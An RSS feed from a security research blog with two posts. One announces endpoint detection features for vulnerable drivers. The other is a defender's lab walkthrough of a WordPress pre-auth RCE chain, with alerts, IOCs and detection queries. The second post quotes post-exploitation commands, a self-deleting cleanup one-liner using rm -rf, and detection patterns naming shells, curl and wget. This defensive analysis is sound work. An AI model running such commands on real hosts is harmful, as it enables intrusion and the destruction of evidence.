<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title><![CDATA[Endpoint Protection & Security - Elastic Security Labs]]></title>
    <description><![CDATA[Trusted security news & research from the team at Elastic.]]></description>
    <copyright><![CDATA[© 2026. Elasticsearch B.V. All Rights Reserved]]></copyright>
    <image>
      <title><![CDATA[Endpoint Protection & Security - Elastic Security Labs]]></title>
      <url>https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte2c6b841aff36df4/6a88d9784acc96e3f324863d/security-labs-thumbnail.png</url>
      <link>https://www.elastic.co/security-labs/blog/category/endpoint-protection-security</link>
    </image>
    <link>https://www.elastic.co/security-labs/blog/category/endpoint-protection-security</link>
    <atom:link href="https://www.elastic.co/security-labs/rss/category/endpoint-protection-security.xml" rel="self" type="application/rss+xml"/>
    <language><![CDATA[en]]></language>
    <lastBuildDate>Wed, 16 Sep 2026 10:14:54 GMT</lastBuildDate>
  <item>
    <title><![CDATA[What's new in Elastic Defend: 800+ vulnerable driver rules, automated troubleshooting, and ARM support]]></title>
    <description><![CDATA[Elastic Defend automatically generates and instantly deploys vulnerable driver YARA rules from VirusTotal, LOLDrivers and Microsoft's blocklist, closing the gap BYOVD attacks depend on. Plus a new troubleshooting skill and ARM endpoint protection.]]></description>
    <content:encoded><![CDATA[<p>We know you’re tired of hearing how every vendor is going to finally help you solve alert fatigue. Well, one way we’re improving alert fatigue is from a slightly different angle, better prevention at the endpoint. Because stopping more at the endpoint means fewer alerts ever raised. </p>
<p>We have three endpoint enhancements, all contributing to better endpoint prevention:</p>
<ol>
<li>To be even more proactive about Bring Your Own Vulnerable Driver (BYOVD) attacks, we’re continuously monitoring public vulnerable driver disclosures and automatically generating endpoint protections   </li>
<li>To improve your endpoint management efficiency, Automatic Troubleshooting is now available as a skill via Elastic Agent Builder  </li>
<li>To expand our coverage surface, Elastic Defend is now available for Windows on ARM </li>
</ol>
<p>Let’s dig into each one.</p>
<h2 id="whatisabyovdattackandhowdoesitbypassendpointprotection">What is a BYOVD attack and how does it bypass endpoint protection?</h2>
<p>BYOVD is a technique attackers use to gain kernel-level access on Windows machines by abusing legitimately signed drivers, letting them bypass defenses meant to block unauthorized code. Windows requires low-level software drivers that run in the kernel to be digitally signed, so rather than trying to sneak in something unsigned, attackers bring a driver that's already signed and trusted, but that has a known security flaw. That flaw is enough to disable security software or tamper with memory, and once an attacker has that level of access, security tools can no longer reliably protect the host.</p>
<p>This combination is why BYOVD has become so appealing to ransomware operators. The technique started as tradecraft mostly reserved for advanced state actors and red teams. Elastic Security Labs has tracked its shift into a routine step ransomware crews now use to tamper with or shut down endpoint security software before deploying their payload, as detailed in <a href="https://www.elastic.co/security-labs/stopping-vulnerable-driver-attacks">Stopping Vulnerable Driver Attacks</a>.</p>
<p>Now, why does timing matter here? BYOVD attacks have depended on one thing for years: the delay between a vulnerable driver's public disclosure and a vendor shipping coverage for it. The moment a vulnerable driver becomes public knowledge, attackers already know about it. When it takes a vendor an entire product release to ship a protection, that gap is exactly what the technique depends on.</p>
<p>To close this gap, Elastic Security Labs Threat Command, Elastic's security research team now continuously monitors public vulnerable driver disclosure sources, including VirusTotal, the LOLDrivers catalog, and Microsoft's Vulnerable Driver Block List, and automatically generates and instantly deploys detection rules. Because we know any delay could be the difference between an exposed endpoint and a secured one, we’ve decoupled this coverage from any release cycle and publish the protections in the open.</p>
<h2 id="howelasticautomaticallygeneratesvulnerabledriveryararules">How Elastic automatically generates vulnerable driver YARA rules</h2>
<p>Elastic Security Labs has published <a href="https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine">detection coverage for vulnerable drivers</a> for years. That coverage now runs through an always-on process that adds new drivers to the protections library as they're disclosed. An always- on process means coverage ships continuously, not whenever the next major release happens to land, and it doesn’t require an update or setting change. A driver flagged today becomes a driver Elastic Defend recognizes.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4d73019429157966/6a7d86f2c2cc098a85246703/image2.png" alt="" /></p>
<p>Elastic Security Labs Threat Command monitors three public sources for newly disclosed vulnerable and malicious drivers:</p>
<ul>
<li>VirusTotal  </li>
<li>The community-run <a href="https://www.loldrivers.io/">LOLDrivers</a> catalog  </li>
<li>Microsoft's Vulnerable Driver Block List</li>
</ul>
<p>No single source catches everything, so the system checks all three, filters out drivers Elastic already covers, and builds new detection rules from the driver's digital signature and file characteristics.</p>
<p>One example: Avast's signed anti-rootkit driver (<code>aswArPot.sys</code>), which was abused to terminate protected processes from the kernel and has been leveraged in Cuba ransomware intrusions as well as <a href="https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine">GHOSTENGINE</a> campaigns. Elastic generates detection coverage for weaponized drivers like these automatically as soon as they surface in the wild.</p>
<p>Every rule this process generates is public. Coverage lands in Elastic's open <a href="https://github.com/elastic/protections-artifacts"><code>protections-artifacts</code></a> repository alongside the rest of Elastic's detection content, so a security team can verify it directly before applying it to their systems. The sources are named and the rules themselves are published in the open, unlike a vendor's private threat feed. You can see which driver triggered a rule, which source flagged it, and inspect the detection logic itself.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9d0d6356db47380d/6a7d86f5ea068d3f87f072b6/image1.png" alt="" /></p>
<p>This process has taken coverage from an initial 65 rules in 2023 to more than 800 known vulnerable drivers today, and the number keeps growing. These protections ship through Elastic Security's <a href="https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-an-integration-policy-for-elastic-defend#malware-protection">malware protection</a>, so make sure it's enabled and set to <strong>Prevent</strong> to get the full benefit. </p>
<p>Signature coverage is also just one layer though. This automated coverage sits alongside protections Elastic Defend has carried for years: validating drivers against a blocklist before they're allowed to load and flagging drivers the moment they're seen for the first time in an environment. A newly disclosed driver doesn't have to wait on a signature alone to be caught doing something suspicious, and a driver built to slip past one layer still has to get past the others built to detect it.</p>
<h2 id="automaticendpointtroubleshootinginelasticagentbuildernowavailableasaskill">Automatic endpoint troubleshooting in Elastic Agent Builder, now available as a skill</h2>
<p>The <a href="https://www.elastic.co/docs/solutions/security/ai/agent-builder/skills-use-cases">automatic troubleshooting skill in Elastic Agent Builder</a> flags policy and performance issues, bringing automation and natural language chat to endpoint diagnosis. Just like the existing <a href="https://www.elastic.co/docs/solutions/security/manage-elastic-defend/automatic-troubleshooting">Automatic Troubleshooting feature</a> scans for and surfaces known endpoint issues, this skill also lets you ask questions, get a diagnosis, and receive specific remediation guidance. It handles the failures that consume the most investigation time: third-party antivirus conflicts, policy application failures, and the errors that typically send analysts into logs for hours.</p>
<p>The skill runs continuously to identify issues’ root causes, tell you what to fix, what commands to run, and what data to collect, all available the second you’re aware of an issue. The existing automatic troubleshooting feature remains available; this skill sits alongside it as a faster path to resolution, specifically tailored for teams that want to work through issues conversationally.</p>
<h2 id="windowsonarmelasticdefendcoverageforsnapdragonandcopilotpcs">Windows on ARM: Elastic Defend coverage for Snapdragon and Copilot+ PCs</h2>
<p>With the increased popularity of ARM processors, Snapdragon laptops, Copilot+ PCs, ARM workstations are more commonly showing up in enterprises’ fleets. If your endpoint protection doesn't cover them, they're unmonitored, and an unmonitored endpoint is a gap an attacker can use. That’s why Elastic Defend has now expanded to cover Windows on ARM. ARM workstations, Snapdragon laptops, and Copilot+ PCs can enroll under your existing policy with the same detection rules and telemetry as x64 endpoints. As you add ARM devices to your fleet, they can enroll automatically to your existing policies.</p>
<h2 id="getstartedwithelasticsecuritytoday">Get started with Elastic Security today</h2>
<p>Elastic Security has significant enhancements to endpoint protections, efficiencies for diagnosing and resolving performance issues, and expanding coverage to new systems, all aimed at shifting defenses earlier, to prevention at the endpoint. </p>
<p>Elastic Security Labs Threat Command now continuously monitors public vulnerable driver disclosure sources and automatically generates and instantly deploys protection rules, decoupled from any release cycle and published in the open. That speed matters when AI-driven attacks can move from one machine to the next in under a minute, faster than any response workflow can react.</p>
<p>Browse the rules directly in the <a href="https://github.com/elastic/protections-artifacts"><code>elastic/protections-artifacts</code></a> repo, alongside the rest of Elastic's open detection content and test out the <a href="https://www.elastic.co/docs/solutions/security/ai/agent-builder/skills-use-cases">automatic troubleshooting skill</a> through Elastic Agent Builder.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/vulnerable-driver-detection-elastic-defend-byovd</link>
    <guid isPermaLink="false">vulnerable-driver-detection-elastic-defend-byovd</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[Pedro Jaramillo,Roxana Gheorghe,Mia LaVada]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4d73019429157966/6a7d86f2c2cc098a85246703/image2.png" length="0" type="image/png"/>
    <pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[wp2shell hits WordPress: detecting pre-auth RCE from plugin drop to command execution]]></title>
    <description><![CDATA[We ran the wp2shell WordPress RCE chain end-to-end with Elastic Defend. Detection rule walkthrough, IOCs, and hunt guidance.]]></description>
    <content:encoded><![CDATA[<p>On July 17, 2026, <a href="https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core">Searchlight Cyber</a> disclosed <code>wp2shell</code>, a pre-authentication remote code execution chain in WordPress Core (<a href="https://nvd.nist.gov/vuln/detail/CVE-2026-63030">CVE-2026-63030</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-60137">CVE-2026-60137</a>). Proof-of-concept tools hit GitHub within hours. <a href="https://x.com/hash_kitten">hashkitten</a> published the chain after PoCs started circulating, including a write-up of <a href="https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/">how the bug was found</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb24abaca3078fd55/6a7d8722e02fac4e075d35b8/image6.png" alt="Tweet from hashkitten announcing the Searchlight Cyber wp2shell research" title="Tweet from hashkitten announcing the Searchlight Cyber wp2shell research methodology and exploit chain blog post, July 2026" /></p>
<p>Scanning followed immediately, and we are already seeing the same host footprint in customer telemetry: PHP and web server runtimes spawning shells, plugin directories appearing under <code>wp-content/plugins/</code>, and access-log markers from stock tooling.</p>
<p>This post is the defender-facing follow-up. We ran the public <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a> end-to-end in a lab with Elastic Defend, traced the attack chain in Kibana, and mapped each stage to the rules that fire. If you are patching and triaging right now, that rule walkthrough is the core of the post. We close with IOCs for quick hunts.</p>
<p>This post covers:</p>
<ul>
<li>What wp2shell is, which versions are exposed, and where to read the full technical breakdown.  </li>
<li>The PoC wave and what live telemetry looks like.  </li>
<li>An end-to-end lab run: PoC execution, the attack chain on disk, and each detection rule that triggers (and why).  </li>
<li>Network and host IOCs to hunt while public tooling is still unchanged.</li>
</ul>
<p>Patch to 7.0.2 or 6.9.5 first. Check exposure at <a href="https://wp2shell.com/">wp2shell.com</a> and treat any internet-facing vulnerable instance as potentially compromised until patched.</p>
<h2 id="scopepublicpocsandobservedlinuxhostbehavior">Scope: public PoCs and observed Linux host behavior</h2>
<p>This post follows publicly available PoCs and the behaviors they produce on a Linux host, in conjunction with telemetry we have observed. Attackers can rename plugins, rewrite payloads, or drop webshells outside the plugin directory (for example, under <code>wp-content/cache/</code>, as <a href="https://isc.sans.edu/forums/diary/WordPress+Exploitation+Underway+CVE202663030/33168/">SANS ISC</a> documented). Hunt the IOCs while they are fresh, but rely on behavioral detection for durability.</p>
<h2 id="whatiswp2shell">What is wp2shell</h2>
<p><code>wp2shell</code> is a pre-authentication exploit chain against WordPress Core's REST <code>batch</code> endpoint (<code>/wp-json/batch/v1</code>, or <code>/?rest_route=/batch/v1</code>). No plugins required.</p>
<p>| WordPress branch | Exposure | Fixed in |
| :---- | :---- | :---- |
| <code>&lt;= 6.8.5</code> | Not affected by the full RCE chain | n/a |
| <code>6.8.0</code> to <code>6.8.5</code> | SQL injection only (no full RCE chain on this branch) | Patch to a non-vulnerable release (6.8.6) |
| <code>6.8.6</code> | Patched / Not vulnerable (SQL injection fixed) | Included in 6.8.6 |
| <code>6.9.0</code> to <code>6.9.4</code> | Full pre-auth RCE chain | 6.9.5 |
| <code>7.0.0</code> to <code>7.0.1</code> | Full pre-auth RCE chain | 7.0.2 |</p>
<p>The bug is a route confusion in WordPress batch handling. When sub-requests inside a batch call get out of sync, a request can be dispatched under the wrong REST handler. Public chains nest batches to bypass method restrictions, then reach a pre-auth SQL injection primitive through query parameters that should not apply on the route they land on. </p>
<p>From there, tooling differs: the <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a> escalates through a SQLi-to-administrator bridge and plugin upload; other actors drop a webshell straight to disk via SQL <code>INTO OUTFILE</code>. Both end the same way for defenders: attacker-controlled PHP on the host, then command execution through the web stack.</p>
<p>That is the short version. For the full chain, read <a href="https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core">Searchlight Cyber's advisory</a>, their <a href="https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/">methodology write-up</a>, and the <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC README</a>. <a href="https://isc.sans.edu/forums/diary/WordPress+Exploitation+Underway+CVE202663030/33168/">SANS ISC</a> captured an in-the-wild SQLi payload if you want raw HTTP context.</p>
<p>The activity maps to <a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application (T1190)</a>, <a href="https://attack.mitre.org/techniques/T1505/003/">Server Software Component: Web Shell (T1505.003)</a>, and <a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter (T1059)</a>.</p>
<h2 id="wp2shellpocsandwhatwereseeingintelemetry">wp2shell PoCs and what we're seeing in telemetry</h2>
<p>Representative public repos appeared within hours of disclosure:</p>
<ul>
<li><a href="https://github.com/Icex0/wp2shell-poc">Icex0/wp2shell-poc</a>  </li>
<li><a href="https://github.com/0xsha/wp2shell">0xsha/wp2shell</a>  </li>
<li><a href="https://github.com/sergiointel/wp2shell-poc">sergiointel/wp2shell-poc</a>  </li>
<li><a href="https://github.com/dinosn/wp2shell-lab">dinosn/wp2shell-lab</a></li>
</ul>
<p>Most drive the same batch entry point. Honeypots and telemetry show a mix of vulnerability scanning and full exploitation. On hosts with Elastic Defend, the post-exploitation picture is consistent:</p>
<ul>
<li><code>httpd</code>, <code>apache2</code>, or <code>php-fpm</code> spawning a shell and running short discovery commands (<code>sh -c id</code> is a common first confirmation).  </li>
<li>New paths under <code>wp-content/plugins/wp2shell_&lt;hex&gt;/</code> when the plugin-upload chain is used unchanged.  </li>
<li>Access-log markers such as <code>POST /?rest_route=/batch/v1</code> with <code>User-Agent: wp2shell</code> on stock PoCs.</li>
</ul>
<p>That web-server-to-shell relationship is the durable detection opportunity. PoC-specific strings help for triage, not for long-term coverage.</p>
<h2 id="wp2shelllabwalkthroughfrompocexecutiontoelasticalerts">wp2shell lab walkthrough: from PoC execution to Elastic alerts</h2>
<p>The <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a> drives the batch SQLi-to-administrator bridge, uploads a plugin-backed webshell, and executes commands through it. Each <code>shell</code> invocation generates a fresh random plugin name (<code>wp2shell_&lt;hex&gt;</code>), so repeated runs produce multiple plugin directories on the same host. That is what you see in the figures: one run may reference <code>wp2shell_6a5566a6</code>, another <code>wp2shell_79b06a80</code> or <code>wp2shell_360866a8</code>. The hex suffix is a fragile IOC; the parent process and command patterns are not.</p>
<p>Every successful run follows the same skeleton:</p>
<ol>
<li><strong>Staging:</strong> <code>apache2</code> (or another technology) writing plugin files  </li>
<li><strong>Execution:</strong> <code>apache2</code> (or another technology) spawning a shell from the plugin working directory.</li>
</ol>
<p>Elastic Defend records both, and the SIEM rules stack on top as commands execute.</p>
<h3 id="wp2shellstagingpluginuploadfileeventsondisk">wp2shell staging: plugin upload file events on disk</h3>
<p>Before any shell alert fires, the file timeline tells the story. The staging sequence is consistent across runs:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt92ad345dc32787a9/6a7d8725c2e914eac1013d4f/image2.png" alt="wp2shell file events staged by apache2 during plugin upload" title="Kibana file event table showing apache2 staging wp2shell plugin files including temp-write-test probes and zip upload" /></p>
<p>In the figure above, we can see the following sequence of events:</p>
<ol>
<li><strong>Write probes:</strong> <code>apache2</code> creates and deletes <code>temp-write-test-*</code> files under <code>wp-content/</code> to confirm the directory is writable.  </li>
<li><strong>Upload staging:</strong> A zip lands under <code>wp-content/uploads/</code> (for example <code>wp2shell_6a5566a6.zip</code>), with a temporary PHP upload file under <code>/tmp/</code>.  </li>
<li><strong>Unpack:</strong> PHP is written under <code>wp-content/upgrade/wp2shell_&lt;hex&gt;/.../wp2shell_&lt;hex&gt;.php</code>.  </li>
<li><strong>Install:</strong> The plugin directory is renamed into <code>wp-content/plugins/wp2shell_&lt;hex&gt;/</code>.</li>
</ol>
<p>All of this is <code>apache2</code> acting as the file writer, which is normal for a WordPress plugin upload but abnormal at this volume and with these filenames on a production site.</p>
<h3 id="alertoverviewwhatfiredduringwp2shellexploitation">Alert overview: what fired during wp2shell exploitation</h3>
<p>Running the PoC end-to-end on <code>wp2shell-lab</code> produced 12 alerts, all as <code>www-data</code> on the same host:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9baf6c1e9d9f6e60/6a7d8728bd21981d06755388/image5.png" alt="wp2shell alert overview after end-to-end PoC run" title="Elastic Security alerts dashboard showing 12 wp2shell alerts across four rules with severity breakdown and alert table" /></p>
<p>The alerts cover backdoor upload and the execution of suspicious and unusual commands. These rules are discussed below.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_execution_by_web_server.toml">Payload Execution by Web Server</a> (EDR)  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_php_file_creation_in_wordpress_plugin_dir.toml">PHP File Creation in WordPress Plugin Directory</a> (SIEM)  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_command_execution.toml">Suspicious Command Execution via Web Server</a> (SIEM)  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_command_execution.toml">Unusual Command Execution via Web Server</a> (SIEM)</li>
</ul>
<p>The alert table ties file paths to process activity. The two file-creation alerts reference plugin directories such as <code>wp-content/plugins/wp2shell_79b06a80</code> and <code>wp2shell_360866a8</code>. The command-execution alerts show <code>/usr/sbin/apache2</code> as the parent and <code>/usr/bin/dash</code> running <code>sh -c -- id</code>, <code>whoami</code>, and <code>hostname</code> from those same plugin paths. File creation fires on the drop; endpoint prevention fires when the shell runs; SIEM rules accumulate as each command executes.</p>
<h3 id="processlineageapache2spawningashellintheanalyzergraph">Process lineage: apache2 spawning a shell in the analyzer graph</h3>
<p>The Elastic analyzer graph makes the <code>wp2shell</code> web-server-to-shell transition visible in one view:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltba84fe8e6d3199be/6a7d872b6c6eac1bc7f11413/image3.png" alt="wp2shell process analyzer graph showing apache2 spawning dash" title="Elastic analyzer graph showing wp2shell process chain: systemd to apache2 to dash, with dash terminated by prevention" /></p>
<p>The chain is <code>systemd</code> → <code>apache2</code> → <code>apache2</code> → <code>dash</code> → <code>hostname</code>. The <code>apache2</code> worker node shows the preceding file and network activity (8 file events, 7 network events in this session). The <code>dash</code> node is flagged as an analyzed event with 3 alerts attached and the process terminated by prevention. That is <a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_execution_by_web_server.toml">Payload Execution by Web Server</a> doing its job: stopping the shell the moment <code>apache2</code> crosses from serving HTTP to running a payload.</p>
<h3 id="whatcommandsdoesthewp2shellpocrunafterexploitation">What commands does the wp2shell PoC run after exploitation?</h3>
<p>Expanding the process and file event table shows everything the <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a> ran on the host, not just the first three discovery commands:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd4034a5583c00010/6a7d872edd26d29d692a72f3/image4.png" alt="wp2shell full process and file event overview from lab execution" title="Kibana process and file event table showing wp2shell post-exploitation commands including cleanup script, uname, cat /etc/passwd, and SUID find" /></p>
<p>From <code>process.working_directory</code> set to <code>wp-content/plugins/wp2shell_&lt;hex&gt;/</code>, <code>apache2</code> spawns <code>dash</code> with <code>sh -c -- id; whoami; hostname</code>. Each command runs as a child (<code>id</code>, <code>whoami</code>, <code>hostname</code>) under the web server parent. That is the pattern we see in telemetry and in the alert overview above. The attacker can of course choose what commands to run here. </p>
<p>The <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a> removes its own plugin after execution:</p>
<pre><code>sh -c -- d=$(pwd); case "$d" in */wp-content/plugins/*) cd / &amp;&amp; rm -rf "$d";; esac
</code></pre>
<p>That deletes the plugin directory and the staged zip. Responders should not treat a missing <code>wp2shell_*</code> folder as evidence the host is clean if process alerts already fired.</p>
<h3 id="attackdiscoverycorrelating25wp2shellalertsintooneincident">Attack discovery: correlating 25 wp2shell alerts into one incident</h3>
<p>When you pivot from individual alerts to Attack discovery, the narrative pulls the session together. After multiple PoC runs and the extended recon pass, Elastic grouped 25 alerts on <code>wp2shell-lab</code> into a single incident:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3caa0d31e8ec1dfc/6a7d87323ce8e26722cf270a/image1.png" alt="wp2shell Attack discovery incident on wp2shell-lab" title="Elastic Attack discovery correlating 25 wp2shell alerts into one incident with MITRE ATT&amp;CK timeline on wp2shell-lab" /></p>
<p>Attack discovery summarizes the arc:</p>
<ol>
<li><strong>Initial access:</strong> <code>wp2shell</code> exploitation via the batch API. <code>apache2</code> creates multiple plugin directories under <code>wp-content/plugins/</code> (<code>wp2shell_78b05e60</code>, <code>wp2shell_369fdaf8</code>, and others across repeated runs).  </li>
<li><strong>Execution:</strong> <code>apache2</code> spawns <code>dash</code>; prevention alerts fire on shell execution. The PoC runs discovery commands and attempts self-cleanup.  </li>
<li><strong>Persistence:</strong> Additional plugin drops from repeated <code>shell</code> invocations (<code>wp2shell_4014c5b3</code>, <code>wp2shell_e358ff3b</code>, <code>wp2shell_8a5566a0</code>, and more).  </li>
<li><strong>Discovery and privilege escalation:</strong> From a fresh webshell, reconnaissance commands including SUID enumeration (<code>find / -perm -u=s -type f</code>). This is where the extended lab pass adds alert volume beyond the initial <code>id</code>/<code>whoami</code>/<code>hostname</code> trio. </li>
</ol>
<p>This demonstrates why we detect the behavior rather than the plugin name.</p>
<h3 id="phpfilecreationinwordpressplugindirectory">PHP File Creation in WordPress Plugin Directory</h3>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_php_file_creation_in_wordpress_plugin_dir.toml">PHP File Creation in WordPress Plugin Directory</a> fired several times in our primary run, on paths such as <code>wp-content/plugins/wp2shell_79b06a80</code> and <code>wp2shell_360866a8</code>. The rule keys on Elastic Defend file events where a web-related process creates PHP under a WordPress plugin path:</p>
<pre><code>file where event.type in ("creation", "change") and (
  process.name in (
    "nginx", "apache2", "httpd", "php-cgi", "php-fcgi",
    "php-cgi.cagefs",  "sw-engine-fpm",
    "wget", "curl", "bash", "dash", "sh", "tcsh", "csh",
    "zsh", "ksh", "fish", "mksh", "busybox"
  ) or
  process.name like ("php-fpm*", "lsphp*", "*.cgi", "*.fcgi")
) and
file.path like~ "*/wp-content/plugins/*"
</code></pre>
<p>It is the earliest structured signal in the alert set: the drop lands before the shell executes. The rule ships with a direct reference to the <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a>. It is scoped to <code>plugins/</code> only and will not catch the SANS-documented <code>INTO OUTFILE</code> variant under <code>wp-content/cache/</code>, which is why the shell-spawn rules below matter as a second layer.</p>
<h3 id="payloadexecutionbywebserver">Payload Execution by Web Server</h3>
<p><a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_execution_by_web_server.toml">Payload Execution by Web Server</a> is the Elastic Defend behavioral rule behind the two critical alerts in the overview. It matched when <code>/usr/sbin/apache2</code> spawned <code>/usr/bin/dash</code> to run suspicious commands. The rule treats web server parents (<code>apache2</code>, <code>httpd</code>, <code>nginx</code>, <code>php-fpm*</code>, and others) launching a shell with high-risk command lines as payload execution. To avoid filling the whole blog with EQL queries, a snippet is displayed below: </p>
<pre><code>process where event.type == "start" and event.action == "exec" and (
  process.parent.name in (
    "nginx", "apache2", "httpd", "caddy", "mongrel_rails", "uwsgi", "daphne",
    "httpd.worker", "flask", "php-cgi", "php-fcgi", "php-cgi.cagefs", 
    "lswsctrl", "varnishd", "uvicorn", "waitress-serve", "starman",
    "frankenphp", "zabbix_server", "asterisk", "sw-engine-fpm"
  ) or
  process.parent.name like ("php-fpm*", "gunicorn*", "*.cgi", "*.fcgi") or
  [...]
  [Additional web server technologies]
  [...]
) and
process.name in (
  "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
) and
process.args in ("-c", "-cl", "-lc") and
process.command_line like~ (
  [...]
  [Suspicious command lines]
  [...]
)
</code></pre>
<p>Discovery commands are explicitly in scope, alongside decoding pipelines, reverse shells, credential paths, and more. The full rule logic can be found <a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_execution_by_web_server.toml">here</a>. Where prevention is enabled, the rule terminates the process via <code>kill_process</code>, which is why the analyzer graph shows <code>dash</code> as a terminated analyzed event. This is the tightest endpoint signal for "web RCE just succeeded."</p>
<h3 id="suspiciouscommandexecutionviawebserver">Suspicious Command Execution via Web Server</h3>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_command_execution.toml">Suspicious Command Execution via Web Server</a> produced three alerts on the initial discovery commands and additional matches when we ran the extended recon pass. This rule is very similar to the previous rule, but does not have preventive actions, and therefore has fewer exclusions baked in, decreasing the risk of introducing false negatives.</p>
<h3 id="unusualcommandexecutionviawebserver">Unusual Command Execution via Web Server</h3>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_command_execution.toml">Unusual Command Execution via Web Server</a> is a new terms rule: it uses statistics to understand which shell command lines each web-server parent normally runs on a host, then alerts on lines that break the baseline. It produced five alerts in our primary run, the highest count in the set.</p>
<p>Generally, a PoC invocation introduces command lines the host has never seen: compound discovery strings, recon one-liners with <code>uname</code> and <code>find</code>, and cleanup scripts that reference <code>wp-content/plugins/</code>. The rule casts a wider net than “Suspicious Command Execution”. When both fire on the same host within the same session, treat the cluster as high confidence.</p>
<h3 id="suspiciousandunusualchildexecutionviawebserver">Suspicious and Unusual Child Execution via Web Server</h3>
<p>Two related SIEM rules cover cases where the web stack spawns non-shell children (interpreters, downloaders, reverse-shell helpers):</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_child_execution.toml">Suspicious Child Execution via Web Server</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_child_execution.toml">Unusual Child Execution via Web Server</a></li>
</ul>
<p>They did not appear in the 12-alert overview because the Icex0 chain goes through <code>dash</code> and standard discovery binaries, which the command-execution rules already cover. They still belong in the same rule set on WordPress hosts: modified exploits that invoke <code>curl | bash</code>, <code>python -c</code>, or a reverse shell without passing through the discovery shortlist will land here instead.</p>
<h3 id="payloaddownloadedviacurlorwgetbywebserver">Payload Downloaded via Curl or Wget by Web Server</h3>
<p>Another rule worth mentioning is <a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_downloaded_via_curl_or_wget_by_web_server.toml">Payload Downloaded via Curl or Wget by Web Server</a>. This is an EDR rule (with killing actions) that detects <code>wget</code>/<code>curl</code> invocations via a <code>sh -c</code> sequence, from web server parents. This is a common technique to download additional tooling once RCE was achieved on a host. Although it did not fire on the PoC, it may fire in a real attack.</p>
<h3 id="whichelasticrulesshouldienableforwp2shell">Which Elastic rules should I enable for wp2shell?</h3>
<p>Enable these pre-built Linux rules on WordPress hosts:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_php_file_creation_in_wordpress_plugin_dir.toml">PHP File Creation in WordPress Plugin Directory</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_command_execution.toml">Suspicious Command Execution via Web Server</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_command_execution.toml">Unusual Command Execution via Web Server</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_child_execution.toml">Suspicious Child Execution via Web Server</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_child_execution.toml">Unusual Child Execution via Web Server</a></li>
</ul>
<p>Several building block rules are triggering on certain activity from the attack chain, ranging from file creation to reconnaissance commands, and are listed below:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/persistence_web_server_sus_file_creation.toml">Unusual File Creation by Web Server</a>  </li>
